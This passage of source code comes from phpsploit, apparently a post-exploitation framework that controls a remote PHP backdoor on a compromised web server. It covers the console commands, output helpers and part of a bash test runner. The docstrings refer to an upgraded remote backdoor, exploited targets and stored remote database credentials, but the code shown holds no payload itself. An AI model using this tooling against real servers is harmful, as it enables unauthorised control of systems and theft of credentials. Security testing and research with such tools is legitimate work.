--get-backdoor` command). EXAMPLES: > session load /tmp/phpsploit.session - Load /tmp/phpsploit.session. > session save - Save current state to session file. WARNING: `session load` should NEVER be used while still connected to a remote TARGET. If you want to load another session, first run `exit` to disconnect from remote server. """ # prevent argv IndexError argv += [None, None] # session save [] if argv[1] == 'save': if argv[2] == '-f': path = argv[3] ask_confirmation = False else: path = argv[2] ask_confirmation = True session.dump(path, ask_confirmation=ask_confirmation) path = session.File if path is None else path session.File = path print("[*] Session saved into %r" % path) # session load [] elif argv[1] == 'load': try: session.update(argv[2], update_history=True) print("[#] Session file correctly loaded") except: print("[#] Could not load session file") raise # session diff [] elif argv[1] == 'diff': session.diff(argv[2], display_diff=True) # session upgrade elif argv[1] == 'upgrade': if "id" in session.Compat: print("[*] You are about to upgrade phpsploit session.") print("[*] Please ensure that you have correctly upgraded") print("[*] the remote backdoor into target URL.") print("[*] After session upgrade, phpsploit assumes that") print("[*] an up-to-date backdoor is active on $TARGET.") cancel = ui.input.Expect(False) if not cancel("Do you really want to upgrade session now ?"): session.Compat = {} print("[*] Session correctly upgraded") else: print("[-] Session upgrade aborted") else: print("[-] Session already up-to-date") # sesion [] else: print(session(argv[1])) ################# # COMMAND: lrun # def do_lrun(self, argv): """Execute client-side shell command SYNOPSIS: lrun command [arg1 [arg2 [...] ] ] DESCRIPTION: Execute a shell command in your own operating system. This command works like the `exec` command in unix shells. NOTE: This core command shouldn't be confused with the `run` plugin, which does the same thing in the remotely exploited system. EXAMPLES: > lrun ls -la / > lrun htop """ if len(argv) == 1: self.interpret("help lrun") return False cmd = " ".join(argv[1:]) tmpfile = Path() postcmd = "\nret=$?; pwd >'%s' 2>&1; exit $ret" % tmpfile ret = os.system(cmd + postcmd) >> 8 if os.stat(tmpfile).st_size > 0: os.chdir(tmpfile.read()) return ret ################### # COMMAND: source # def do_source(self, argv): """Execute a phpsploit script file SYNOPSIS: source [OPTIONS] DESCRIPTION: Read [LOCAL_FILE] and executes the statements contained therein. As if each line was a phpsploit command. OPTIONS: -e Abort file sourcing as soon as a command fails (aka, returns nonzero), and return the code returned by the command which failed. EXAMPLES: > source /tmp/spl01t-script.phpsploit - Run the given script file's content, line by line """ if len(argv) == 2: abort_on_error = False source_file = argv[1] elif len(argv) == 3 and argv[1] == "-e": abort_on_error = True source_file = argv[2] else: return self.interpret("help source") source_file = utils.path.truepath(source_file) with open(source_file, 'r') as file: data = file.read() return self.interpret(data, fatal_errors=abort_on_error) ################ # COMMAND: set # @staticmethod def complete_set(text, line, *_): """Use settings as `set` completers (case insensitive)""" argv = line.split() if (len(argv) == 2 and line[-1] == " ") or len(argv) > 2: return [] result = [] for key in session.Conf.keys(): if key.startswith(text.upper()): result.append(key) return result @staticmethod def do_set(argv): """view and edit configuration settings SYNOPSIS: set [ [+] [""]] DESCRIPTION: Settings are a collection of editable variables that affect phpsploit's core behavior. - Their value is bound to current session. - To permanently change a setting's value at start, it must be defined by hand on phpsploit config file. > set - Display current settings > set - Display settings whose name starts with STRING > set - Assign VALUE to VAR setting (only if it's a valid value) > set %%DEFAULT%% - Reset VAR's default value with '%%DEFAULT%%' magic string > set "file:///path/to/file" - Bind VAR's value to a local file content > set + - Open VAR's value in text editor. This is useful to edit values with multiple lines > set + - Add LINE to the end of VAR's value > set + "file:///path/to/file" - Re-bind VAR to a local file path. Even if path doesn't exist, the setting will take the value of the file if it founds it. Otherwise, previous buffer value is kept as long as the file path is unreachable Defining HTTP Headers: You can define custom http request header fields by hand. Settings starting with 'HTTP_' are automagically treated as HTTP Request Headers values. By default, only the "User-Agent" Header is defined. It is bound by default to a local file containing common HTTP User Agents. (`help set HTTP_USER_AGENT`) * Examples: > set HTTP_ACCEPT_LANGUAGE "en-CA" - Define "Accept-Language" http request header field. > set HTTP_ACCEPT_LANGUAGE None - Remove HTTP_ACCEPT_LANGUAGE header with magic value 'None'. Use `set help ` for detailed help about a setting. """ # `set []` display concerned settings list if len(argv) < 3: string = (argv+[""])[1] print(session.Conf(string)) if string not in session.Conf: string = "" print("[*] For detailed help, run `help set %s`" % string) # buffer edit mode elif argv[2] == "+": # `set +`: use $EDITOR as buffer viewer in file mode if len(argv) == 3: # get a buffer obj from setting's raw buffer value file_name = argv[1].upper() file_ext = "txt" setting_obj = session.Conf[argv[1]](call=False) if isinstance(setting_obj, datatypes.PhpCode): file_ext = "php" elif isinstance(setting_obj, datatypes.ShellCmd): file_ext = "sh" buffer = Path(filename="%s.%s" % (file_name, file_ext)) buffer.write(session.Conf[argv[1]].buffer) # try to edit it through $EDITOR, and update it # if it has been modified. if buffer.edit(): session.Conf[argv[1]] = buffer.read() # `set + "value"`: add value on setting possible choices else: session.Conf[argv[1]] += " ".join(argv[3:]) # `set "value"`: just change VAR's "value" else: session.Conf[argv[1]] = " ".join(argv[2:]) ################ # COMMAND: env # @staticmethod def complete_env(text, line, *_): """Use env vars as `env` completers (case insensitive)""" argv = line.split() if (len(argv) == 2 and line[-1] == " ") or len(argv) > 2: return [] result = [] for key in session.Env: if key.startswith(text.upper()): result.append(key) return result @staticmethod def do_env(argv): """Environment variables handler SYNOPSIS: env [ [""|None]] DESCRIPTION: Environment variables are meant to store informations about remote server state. - Their initial value is defined as soon as phpsploit opens a remote connection (`exploit`). - Plugins can read, write, and create environment variables. > env - Display all current env vars > env - Display all env vars whose name starts with STRING. > env - Set NAME env variable's value to VALUE. > env None - Remove NAME with 'None' magic string. EXAMPLE: `PWD` is used to persist 'current working directory' of remote target. It allows plugins to use relative path arguments: # set PWD to '/var/www': > cd /var/www # display '/var/www/index.php': > cat index.php` NOTES: - Some envionment variables, such as `PWD` and `WEB_ROOT` are crucial for remote session consistency. Be careful before manually editing them. - Plugins that need to store persistent informations may and must use env vars. For example, the `mysql` plugin creates a `MYSQL_CRED` environment variable, which contains remote database connection credentials. So next calls to `mysql` can be used to browse database without providing credentials each time. - Unlike Settings (`set` command), env vars are meant to store basic strings. """ # `env []` if len(argv) < 3: if not session.Env: print("[-] Must connect to spread env vars (`help exploit`)") return False print(session.Env((argv + [""])[1])) return True # `env ` session.Env[argv[1]] = " ".join(argv[2:]) return True ################## # COMMAND: alias # @staticmethod def complete_alias(text, line, *_): """autocompletion for `alias` command""" argv = line.split() if (len(argv) == 2 and line[-1] == " ") or len(argv) > 2: return [] result = [] for key in session.Alias.keys(): if key.startswith(text): result.append(key) return result def do_alias(self, argv): """Define command aliases SYNOPSIS: alias [ [""|None]] DESCRIPTION: Command aliases can be defined in order to ease phpsploit shell experience. Once defined, an alias can be used as if it was a standard command, and it's value is interpreted, then suffixed with arguments passed to the command line (if any). NOTE: This core command works like the unix bash `alias` command. > alias - Display all current command aliases. > alias - Display aliases whose name starts with NAME. > alias - Set NAME alias to the given VALUE. > alias None - Unset NAME command alias. BEHAVIOR: - Unlike settings, aliases do not provide dynamic random values. Setting a value is simply interpreted as a string, apart for the special "None" value, which removes the variable. """ if len(argv) < 3: # `alias []` display concerned settings list print(session.Alias((argv+[""])[1])) else: # `alias ` existed = argv[1] in session.Alias session.Alias[argv[1]] = " ".join(argv[2:]) exists = argv[1] in session.Alias if existed and not exists: print("[*] `%s` alias correctly deleted." % argv[1]) elif existed and exists: print("[-] `%s` alias correctly overridden." % argv[1]) elif exists: if argv[1] in self.get_names(self, "do_"): print("[-] Warning: %r command overridden" " (run `alias %s None` to unset alias)" % (argv[1], argv[1])) elif argv[1] in plugins.keys(): print("[-] Warning: %r plugin overridden" " (run `alias %s None` to unset alias)" % (argv[1], argv[1])) ################## # COMMAND: bind # def complete_bind(self, text, line, *_): """autocompletion for `bind` command""" result = self.completenames(text, line, *_) if not result: return [] result = [x for x in result if x != "bind"] if tunnel: result += plugins.keys() return [x for x in list(set(result)) if x.startswith(text)] def do_bind(self, argv): """attach a command to prompt SYNOPSIS: bind [] DESCRIPTION: Bind phpsploit prompt to COMMAND. Every line executed will then be executed as if it was the arguments of COMMAND. This is useful for plugins like `run` or `mysql`, when you are working from them and don't want to re-type the plugin name again and again .. NOTE: press Ctrl-D or type exit to 'unbind' from current command. DEMO: phpsploit(127.0.0.1) > run type ls ls is /bin/ls phpsploit(127.0.0.1) > type ls [-] Unknown Command: type phpsploit(127.0.0.1) > bind run [-] Type exit to leave binded 'run' subshell # now shell is bound to `run`, so we just need to execute `type ls` phpsploit(127.0.0.1) #run > type ls ls is /bin/ls """ if len(argv) != 2 or argv[1] not in self.complete_bind("", ""): self.interpret("help bind") else: self.bind_command = argv[1] print("[-] Type exit to leave bound %r subshell" % argv[1]) #################### # COMMAND: backlog # def do_backlog(self, argv): """open last command output in text editor SYNOPSIS: backlog [--save ] DESCRIPTION: Open last command output with text EDITOR (`help set EDITOR`). Ansi terminal colors are automatically stripped from buffer. OPTIONS: --save Write previous command's output to the given file instead of opening it with $EDITOR. """ if len(argv) == 1: backlog = Path() backlog.write(self.stdout.backlog, bin_mode=True) backlog.edit() elif len(argv) == 3 and argv[1] == "--save": Path(argv[2]).write(self.stdout.backlog) else: self.interpret("help backlog") ################# # COMMAND: help # def complete_help(self, text, line, *_): """Use settings as `set` completers (case insensitive)""" argv = line.split() if argv[:2] == ["help", "set"]: if (len(argv) == 2 and line[-1] == " ") \ or (len(argv) == 3 and line[-1] != " "): return [x for x in session.Conf if x.startswith(text)] if len(argv) > 2 or line[-1] == " ": return [] return self.completenames(text, line, *_) def do_help(self, argv): """Show commands help SYNOPSIS: help help help set DESCRIPTION: Get help for any core command or plugin. If called without arguments, a list of available commands, plugins, and aliases is displayed. Otherwise, detailed help of given command is shown. * NOTE: plugins are only listed after running `exploit` EXAMPLES: > help - List available commands, plugins, and aliases > help help - Get detailed help on `help` command > help exit - Display the help for the `exit` command > help set BACKDOOR - Display help about the "BACKDOOR" setting """ def get_doc(cmd): """get lines from `cmd` docstring""" doc = "" if hasattr(self, "do_" + cmd): doc = getattr(self, "do_" + cmd).__doc__ elif cmd in plugins: doc = plugins[cmd].help if doc.strip(): doc += "\nPLUGIN LOCATION:\n " + plugins[cmd].path return doc.strip().splitlines() def get_description(doc_lines): """get formatted command help description""" if doc_lines: return doc_lines[0].strip() return colorize("%Yellow", "No description") def doc_help(doc_lines): """print formated command's docstring""" # reject empty docstrings (description + empty line) if len(doc_lines) < 2: return False doc_lines.pop(0) # remove the description line while not doc_lines[0].strip(): doc_lines.pop(0) # remove heading empty lines # remove junk leading spaces (due to python indentation) trash = len(doc_lines[0]) - len(doc_lines[0].lstrip()) doc_lines = [line[trash:].rstrip() for line in doc_lines] # hilight lines with no leading spaces (man style) result = "" for line in doc_lines: if line == line.lstrip(): line = colorize("%BoldWhite", line) elif line.startswith(" * "): line = colorize(" * ", "%Yellow", line[6:]) elif line.startswith(" > "): line = colorize(" > ", "%Cyan", line[6:]) elif line.startswith(" # "): line = colorize("%Dim", line) elif line.startswith(" -") and line[5] != " ": line = colorize("%Green", line) result += line + "\n" print(result) return True # help set if len(argv) >= 3 and argv[1] == "set": var = argv[2].upper() try: doc = getattr(session.Conf, var).docstring except KeyError: print("[-] %s: No such setting (run `set` to list settings)" \ % var) return False print("\n[*] Help for '%s' setting\n" % var) return doc_help(doc.splitlines()) # help if len(argv) >= 2: doc = get_doc(argv[1]) if doc: print("\n[*] %s: %s\n" % (argv[1], get_description(doc))) # call help_COMMAND() or fallback to COMMAND's docstring help_method = getattr(self, "help_" + argv[1], None) if callable(help_method): getattr(self, 'help_' + argv[1])() else: if not doc_help(doc): return False if argv[1] in session.Alias: print("[-] Warning: %r has been aliased " "(run `alias %s` for + infos)" % (argv[1], argv[1])) return True # fallback to alias display elif argv[1] in session.Alias: return self.interpret("alias %s" % argv[1]) print(self.nohelp % argv[1]) return False # help core_commands = self.get_names(self, "do_") full_help = [('Core Commands', core_commands)] max_len = max(13, len(max(core_commands, key=len))) # add plugins if connected to target if tunnel: for category in plugins.categories(): items = [p for p in plugins.values() if p.category == category] items = [p.name for p in items] # rescale max_len in case of longer plugin names max_len = max(max_len, len(max(items, key=len))) full_help += [(category + " Plugins", items)] # adapt max_len if there are command aliases aliases = list(session.Alias.keys()) if aliases: max_len = max(max_len, len(max(aliases, key=len))) full_help += [("Command Aliases", aliases)] # print full_help, group by group cmd_col = ' ' * (max_len - 5) for grp_name, grp_cmdlist in full_help: underline = '=' * len(grp_name) if grp_name == "Command Aliases": print("\n" + grp_name + "\n" + underline + "\n" " Alias " + cmd_col + "Value\n" " ----- " + cmd_col + "-----") else: print("\n" + grp_name + "\n" + underline + "\n" " Command" + cmd_col + "Description\n" " -------" + cmd_col + "-----------") grp_cmdlist.sort() for cmd_name in grp_cmdlist: spacing = ' ' * (max_len - len(cmd_name) + 2) if grp_name == "Command Aliases": description = session.Alias[cmd_name] else: description = get_description(get_doc(cmd_name)) print(" " + cmd_name + spacing + description) print('') # pylint: disable=invalid-name @staticmethod def except_OSError(exception): """Fix OSError args, removing errno, and adding filename""" if isinstance(exception.errno, int): exception.args = (exception.strerror,) if exception.filename is not None: exception.args += ("ÂĢ{}Âģ".format(exception.filename),) return exception @staticmethod def debug_cmdrepr(argv): """Returns a nice representation of given command arguments """ cmdrepr = [] for arg in argv: if not isinstance(arg, str): continue argrepr = repr(arg) sep = argrepr[0], argrepr[-1] argrepr = argrepr[1:-1].join(colorize("%DimCyan", "%Reset")) cmdrepr.append(sep[0] + argrepr + sep[1]) args = " ".join(cmdrepr) return colorize("%BoldCyan", "CMD(", "%Reset", args, "%BoldCyan", ")") phpsploit-3.2+git20240329.aea961d/src/ui/output/000077500000000000000000000000001460155776400207215ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/ui/output/__init__.py000066400000000000000000000021641460155776400230350ustar00rootroot00000000000000"""PhpSploit User Output (STDOUT) Handler This package provides UI features relaed to Standard Output """ __all__ = ["Wrapper", "isatty", "colors", "size", "columns", "lines"] import os import sys import shutil from .wrapper import Stdout as Wrapper def isatty() -> bool: """True if STDOUT is connected to a tty device.""" return sys.__stdout__.isatty() def colors() -> int: """Returns the number of colors actually supported by current output. Actually, possible values are: 0 -> for non terminal outputs 8 -> for windows or standard unix terminals 256 -> for terminals which 'TERM' env var contains '256' """ if not isatty(): return 0 if "TERM" in os.environ and "256" in os.environ["TERM"]: return 256 return 8 def size(fallback=(80, 24)) -> tuple: """Get the size of the terminal window.""" return tuple(shutil.get_terminal_size(fallback=fallback)) def columns() -> int: """Get the number of columns of the terminal window.""" return size()[0] def lines() -> int: """Get the number of lines of the terminal window.""" return size()[1] phpsploit-3.2+git20240329.aea961d/src/ui/output/wrapper.py000066400000000000000000000142231460155776400227550ustar00rootroot00000000000000"""Phpsploit standard output wrapper. Usage: >>> import stdout, sys >>> sys.stdout = Stdout(backlog=True) >>> print("foo") foo >>> print("bar") bar >>> log = sys.stdout.backlog # log is now "foo\\nbar\\n" >>> sys.stdout.backlog = "" # empty the stdout backlog >>> print("wtf") wtf >>> log = sys.stdout.backlog # log is now "wtf\\n" >>> del sys.stdout.backlog # disable stdout's backlog >>> sys.stdout.backlog = "" # enable stdout's backlog As shown in the example above, the wrapper provides a nice backlog feature. It also provides magic output transformation on information tags. For example, if a line begins with "[-] ", it is automatically colored to bright red. NOTE: Ansi escape codes (terminal colors) are automatically removed when writting to the backlog. """ __all__ = ["Stdout"] import sys import os import re from io import StringIO import ui.output from core import encoding from ..color import colorize, decolorize class Stdout: """PhpSploit framework's dedicated standard output wrapper, supplying some enhancements, such as pattern coloration and back logging. The 'backlog' argument is defaultly set to False, it can be enabled at initialization if set to True, or enabled later setting the instance's backlog attribute to an empty string. NOTE: See module's help for more informations. """ def __init__(self, outfile=sys.__stdout__, backlog=False): # get original stdout self._orig_outfile = outfile # just in case we wrap at runtime o the future, # as we did with `colorama_wrapper` in the past self.outfile = self._orig_outfile # handle back logging self._backlog = StringIO() if backlog: self._has_backlog = True else: self._has_backlog = False # are colors supported ? self._has_colors = ui.output.colors() self._write_lock = False def __del__(self): """Restore the original sys.stdout on Wrapper deletion""" self._backlog.close() # dirty hack when used before argparse on main file... sys.stdout = self._orig_outfile # try: # sys.stdout = self._orig_outfile # except: # pass def __getattr__(self, obj): """Fallback to original stdout objects for undefined methods""" return getattr(self._orig_outfile, obj) def _write_line(self, line): """Process individual line morphing, and write it""" # Process per platform newline transformation if line.endswith('\r\n'): line = line[:-2] + os.linesep elif line.endswith('\n'): line = line[:-1] + os.linesep # special case: debug tag is only printed if VERBOSITY is True # NOTE: considering that the python print() function does another # write() to add line separator, we need a self._write_lock # canary to block it if the previous message display aborted. from core import session if line.startswith("[#] ") and not session.Conf.VERBOSITY(): self._write_lock = True return if self._write_lock: self._write_lock = False if line == os.linesep: return line = self.process_tags(line) # handle tagged lines coloration # Write line to stdout, and it's decolorized version on backlog # if standard output is not a tty, decolorize anything. if self._has_backlog: self._backlog.write(decolorize(line)) if not self._has_colors: line = decolorize(line) try: self.outfile.write(line) except UnicodeEncodeError: buf = encoding.encode(line) self.outfile.buffer.write(buf) def write(self, string): """Write the given string to stdout""" for line in string.splitlines(1): self._write_line(line) @property def backlog(self): """A dedicated stdout back logging buffer""" if self._has_backlog: self._backlog.seek(0) return self._backlog.read() raise AttributeError() @backlog.setter def backlog(self, value): """Setting backlog's value to None or False disables it, While giving any other value resets the backlog buffer. If a non empty string is given, backlog takes it as new value """ del self.backlog if value is not False and value is not None: self._has_backlog = True if value.__class__ == str: self._backlog.write(decolorize(value)) @backlog.deleter def backlog(self): """Flush backlog buffer and mark it as disabled on deletion""" self._backlog.truncate(0) self._backlog.seek(0) self._has_backlog = False @staticmethod def process_tags(line): """Process tagged line transformations, such as auto colorization and pattern rules. >>> process_tags("[*] FOO: ÂĢbarÂģ\\n") '\\x1b[1m\\x1b[34m[*]\\x1b[0m FOO: \\x1b[37mÂĢbarÂģ\\x1b[0m\\n' """ tag_list = [('%BoldBlue', '[*] '), # INFO ('%BoldRed', '[!] '), # ERROR ('%BoldPink', '[?] '), # QUESTION ('%BoldYellow', '[-] '), # WARNING ('%BoldBlack', '[#] ')] # DEBUG # if not tagged, return the line as it is tag = None # make pylint happy for index, tag in enumerate(tag_list): if line.startswith(tag[1]): break if index == len(tag_list) - 1: return line # remove dulpicate tags >>> "[!] [!] Foo" -> "[!] Foo" while line[len(tag[1]):][0:len(tag[1])] == tag[1]: line = line[len(tag[1]):] # format line's tag with requested color style line = colorize(*tag) + line[len(tag[1]):] # colorize ÂĢ*Âģ patterns from tagged line: dye = lambda obj: colorize('%White', repr(obj.group(1))) line = re.sub('ÂĢ(.+?)Âģ', dye, line) dye = lambda obj: '`' + colorize('%DimWhiteBold', obj.group(1)) + '`' line = re.sub('`(.+?)`', dye, line) return line phpsploit-3.2+git20240329.aea961d/src/utils/000077500000000000000000000000001460155776400201045ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/utils/__init__.py000066400000000000000000000002021460155776400222070ustar00rootroot00000000000000"""Miscelaneous utils for phpsploit internals """ # path related utils from . import path from . import regex from . import time phpsploit-3.2+git20240329.aea961d/src/utils/path.py000066400000000000000000000007101460155776400214100ustar00rootroot00000000000000"""File path handling The functions described here provide some aditional features unavailable in the os.path standard module. Author: nil0x42 """ import os def truepath(*elems): """Joins the given path(s), expanding environment variables and user directory ('~'). """ expand = lambda s: os.path.expandvars(os.path.expanduser(s)) elems = (expand(s) for s in elems) path = os.path.join(*elems) return os.path.realpath(path) phpsploit-3.2+git20240329.aea961d/src/utils/regex.py000066400000000000000000000003331460155776400215670ustar00rootroot00000000000000"""Pre-compiled regexes for phpsploit """ __all__ = ["WORD_TOKEN"] import re # check is given string is a valid phpsploit word token # usage: WORD_TOKEN.fullmatch("string") WORD_TOKEN = re.compile("[A-Za-z0-9@_.-]+") phpsploit-3.2+git20240329.aea961d/src/utils/time.py000066400000000000000000000035471460155776400214250ustar00rootroot00000000000000"""Time related functions Author: nil0x42 """ import re import random import datetime def get_smart_date(value): """Return a date string usable by php strtotime() >>> get_smart_date("2016-04-15 23:04:12") '2016-04-15 23:04:12' >>> # error handling with ValueError() messages >>> get_smart_date("2004-99-99") Traceback (most recent call last): File "", line 1, in utils.time.get_smart_date("2004-99-99") File "/home/user/dev/time.py", line 52, in get_smart_date raise ValueError("%r: %s" % (value, e)) ValueError: '2004-99-99': format must be YYYY[-mm[-dd[ HH[:MM[:SS]]]]] >>> # random valid date completion when partially given >>> get_smart_date("2011-09") '2001-09-15 16:53:28' >>> get_smart_date("2011-09-11 13") '2011-09-11 13:29:42' NOTE: On phpsploit's php side, the set_smart_date() function can be used to generate a timestamp. """ human_fmt = "YYYY[-mm[-dd[ HH[:MM[:SS]]]]]" python_fmt = "%Y-%m-%d %H:%M:%S" regex = (r"^(\d{4})(?:-(\d{2})(?:-(\d{2})(?: (\d" r"{2})(?::(\d{2})(?::(\d{2}))?)?)?)?)?$") limits = (None, (1, 12), (1, 28), (0, 23), (0, 59), (0, 59)) try: items = list(re.findall(regex, value)[0]) except IndexError: raise ValueError("%r: format must be %s" % (value, human_fmt)) if int(items[0]) < 1970: raise ValueError("%r: min year is 1970 (EPOCH)" % value) for i, limit in enumerate(limits): if not items[i]: items[i] = "%02d" % random.randrange(limit[0], limit[1] + 1) result = "%s-%s-%s %s:%s:%s" % tuple(items) try: datetime.datetime.strptime(result, python_fmt) except ValueError as err: if python_fmt in str(err): err = "format must be %s" % human_fmt raise ValueError("%r: %s" % (value, err)) return result phpsploit-3.2+git20240329.aea961d/test/000077500000000000000000000000001460155776400171345ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/README.md000066400000000000000000000003231460155776400204110ustar00rootroot00000000000000# Phpsploit Functional Tests Suite # Usage: ./RUN.sh --help # About: * The test launcher recursively runs all tests in subdirectories * Only executable scripts are run by test launcher (chmod +x). phpsploit-3.2+git20240329.aea961d/test/RUN.sh000077500000000000000000000271671460155776400201540ustar00rootroot00000000000000#!/bin/bash # RUN.sh: # Run a test script or all tests contained in # a given directory, in a recursive manner. ##### # THIS CODE IS EXECUTED WHEN THIS SCRIPT # IS CALLED TO RUN A SINGLE TEST (from function execute_script()) ##### function print_info () { echo -e "\033[0m\033[1;34m[*]\033[0;36m $@\033[0m" } function print_good () { echo -e "\033[0m\033[1;32m[+]\033[0;32m $@\033[0m" } function print_bad () { echo -e "\033[0m\033[1;31m[-]\033[0;31m $@\033[0m" } function FAIL () { set +v local file="${BASH_SOURCE[1]}" local lineno=$BASH_LINENO local line="$(sed -n ${BASH_LINENO}p "${BASH_SOURCE[1]}")" print_bad "\033[1;31m "============================================================ print_bad "\033[1;31m TEST FAILED\033[0;31m" print_bad "\033[1;31m FILE:\033[0;31m $file:$lineno" print_bad "\033[1;31m LINE:\033[0;31m $line" if [ $# -gt 0 ]; then # local repr=$(grep -oP "(?<= FAIL ).+" local repr="${line##* FAIL }" print_bad "\033[1;31m $repr:\033[0;31m $@" fi exit 1 } function print_env () { [ -z "${!1}" ] && return echo -e "\033[0m\033[1;33m[I] \033[0;33m$1\033[0m = \033[1;33m${!1}\033[0m" } function faketty () { # for some strange reason, `script` sets CRLF as newlines, # so we remove them with perl script -qefc "$(printf "%q " "$@")" /dev/null | \ perl -pe 's/\r\n/\n/' } # FAIL if any STDIN line can't be found in ARGV1 file # - if ARGV2 exists, it's used instead of STDIN function assert_contains () { if [ -n "$2" ]; then local match="$2" grep -q -- "$match" "$1" || FAIL $match / $1 else while IFS= read -r match; do grep -q -- "$match" "$1" || FAIL $match / $1 done fi } # FAIL if any STDIN line is present in ARGV1 file # - if ARGV2 exists, it's used instead of STDIN function assert_not_contains () { if [ -n "$2" ]; then local match="$2" ! grep -q -- "$match" "$1" || FAIL $match / $1 else while IFS= read -r match; do ! grep -q -- "$match" "$1" || FAIL $match / $1 done fi } # FAIL if ARGV1 file has some output other than debug '[#]' lines function assert_no_output () { [ -f "$1" ] || FAIL "file does not exist" / $1 grep -qv '\[\#\]' $1 && FAIL "file has some output" / $1 } # remove ANSI colors from ARGV1 file function decolorize () { sed -ri "s/\x01?\x1B\[(([0-9]+)(;[0-9]+)*)?m\x02?//g" "$1" } # remove multiple trailing newlines from input function rm_trailing_newlines () { sed -Ez '$ s/\n+$/\n/' } function exit_script () { ret=$? set +e set +o pipefail if [ -n "$__phpsploit_pipe_pid" ]; then # cannot just kill phpsploit pipe, or coveragepy will not write report echo -e "\nexit --force\nexit --force\nexit --force" >&8 for ((n=0;n<20;n++)); do sleep 0.2 ps -ef | grep -v grep | grep -q " $__phpsploit_pipe_pid " || break done errmsg="phpsploit_pipe process $__phpsploit_pipe_pid didn't quit normally: missing coverage report" ps -ef | grep -v grep | grep " $__phpsploit_pipe_pid " && FAIL $errmsg if [ -n "$COVERAGE" ]; then [ -f $ROOTDIR/.coverage.*.$__phpsploit_pipe_pid.* ] || FAIL $errmsg fi fi [ $ret -eq 0 ] && return # ignore if return value == 0 files="$(find $TMPDIR -type f -name "`basename $TMPFILE`"'*')" for file in $files; do varname="${file/$TMPFILE/\$TMPFILE}" print_bad "\033[1;31m "------------------------------------------------------------ print_bad "\033[1;31m cat $varname\033[0;31m ($file):" cat "$file" done } function phpsploit_pipe () { set -e set -o pipefail if [ -z "$__phpsploit_pipe_pid" ]; then # singleton, start piped phpsploit first time function is called rm -f $TMPDIR/fifo-in $TMPDIR/fifo-out mkfifo $TMPDIR/fifo-in $TMPDIR/fifo-out exec 8<>$TMPDIR/fifo-in exec 9<>$TMPDIR/fifo-out stdbuf -o0 -e0 $PHPSPLOIT <&8 >&9 2>&1 & __phpsploit_pipe_pid=$! fi # randstr=`cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 13` # using $RANDOM because GH Actions ubuntu VM has low entropy: randstr="$(echo "xxx$RANDOM$RANDOM$RANDOM" | md5sum | head -c 16)" buf=$TMPDIR/buffer > $buf echo -e "$@" >&8 echo "@lrun echo $randstr" >&8 # delimiter while ! grep -q "$randstr.*Returned " $buf; do IFS='' read -u 9 -t 10 -r line || FAIL "$?" echo -E "$line" >> $buf done # remove lines containing $randstr from output cp $buf $buf.old grep -v "$randstr" $buf.old > $buf rm $buf.old # write output to stdout cat $buf # try to get retval from last cmd (needs VERBOSITY True) ret="$(tail -n1 $buf | grep '^\[\#.*eturned [0-9]\+' | awk '{print $NF}')" set +e set +o pipefail [ -n "$ret" ] && return $ret return 99 } # remove debug lines from input (phpsploit lines starting with '[#' function nodebug () { grep -v '^\[\#' } # count lines (after removing empty & debug lines) function count_lines () { cat $1 | nodebug | grep -v '^$' | wc -l } if [ -n "$PHPSPLOIT_TEST" ]; then trap exit_script EXIT print_env PWD print_env ROOTDIR print_env TESTDIR print_env SCRIPTDIR print_env SCRIPTFILE print_env TMPDIR print_env TMPFILE print_env PHPSPLOIT print_env PHPSPLOIT_CONFIG_DIR print_env RAW_PHPSPLOIT print_env WWWROOT print_env TARGET print_env COVERAGE print_env COVERAGE_FILE print_env COVERAGE_RCFILE set -v # execute the `real` test script . "$1" || true exit 0 fi export PHPSPLOIT_TEST=1 ##### # MAIN TEST LAUNCHER ##### set -e # change color of stderr output colored_stderr()(set -o pipefail;"$@" 2>&1>&3|sed $'s,.*,\e[33;2m&\e[m,'>&2)3>&1 # check dependencies errors=0 function check_dependency () { if ! which "$1" >/dev/null; then print_bad "Missing dependency: $1" (( ++errors )) fi } check_dependency basename check_dependency cat check_dependency tr check_dependency bash check_dependency diff check_dependency dirname check_dependency git check_dependency grep check_dependency md5sum check_dependency nohup check_dependency perl check_dependency php check_dependency printf check_dependency readlink check_dependency script check_dependency tail check_dependency head check_dependency tee check_dependency timeout check_dependency sed [ $errors -eq 0 ] || exit 1 function exit_help () { >&2 echo "$0:" >&2 echo " Run a single test, or recursively run all" >&2 echo " tests contained in a test directory." >&2 echo "" >&2 echo "Usage: $0 " >&2 echo " $0 " exit 1 } # trying to make tests compatible with MacOS if [[ $OSTYPE == 'darwin'* ]]; then gnubin_coreutils_path="/usr/local/opt/coreutils/libexec/gnubin" [ -d "$gnubin_coreutils_path" ] || FAIL export PATH="$gnubin_coreutils_path:$PATH" fi # ROOTDIR = /phpsploit/ export ROOTDIR="$(git rev-parse --show-toplevel)" # TESTDIR = /phpsploit/test/ export TESTDIR="$(readlink -f `dirname $0`)" # testscript = /phpsploit/test/RUN.sh testscript="$(readlink -f $0)" # TMPDIR = /phpsploit/test/tmp/ export TMPDIR="$TESTDIR/tmp" rm -rf "$TMPDIR" mkdir "$TMPDIR" # PHPSPLOIT_CONFIG_DIR = /phpsploit/test/tmp/phpsploit-config/ export PHPSPLOIT_CONFIG_DIR="$TMPDIR/phpsploit-config" mkdir "$PHPSPLOIT_CONFIG_DIR" cat "$ROOTDIR/data/config/config" > "$PHPSPLOIT_CONFIG_DIR/config" echo "set VERBOSITY True" >> "$PHPSPLOIT_CONFIG_DIR/config" echo "set REQ_INTERVAL 0" >> "$PHPSPLOIT_CONFIG_DIR/config" # make multireq faster echo "alias true 'lrun true'" >> "$PHPSPLOIT_CONFIG_DIR/config" echo "alias @lrun lrun" >> "$PHPSPLOIT_CONFIG_DIR/config" # PHPSPLOIT = call phpsploit abspath (uses PHPSPLOIT_CONFIG_DIR) export RAW_PHPSPLOIT="$ROOTDIR/phpsploit" export PHPSPLOIT="$ROOTDIR/phpsploit" # add 'coverage run' prefix if $COVERAGE is set if [ -n "$COVERAGE" ]; then export COVERAGE_RCFILE="$ROOTDIR/.coveragerc" export COVERAGE_FILE="$ROOTDIR/.coverage" rm -f $COVERAGE_FILE $COVERAGE_FILE.* export PHPSPLOIT="coverage run --rcfile=$COVERAGE_RCFILE $PHPSPLOIT" fi ### ### build temp php server to be able to run 'exploit' ### # TARGET = 127.0.0.1:PORT export TARGET="127.0.0.1:$(( ( RANDOM ) + 30000 ))" # WWWROOT = /phpsploit/test/tmp/wwwroot/ export 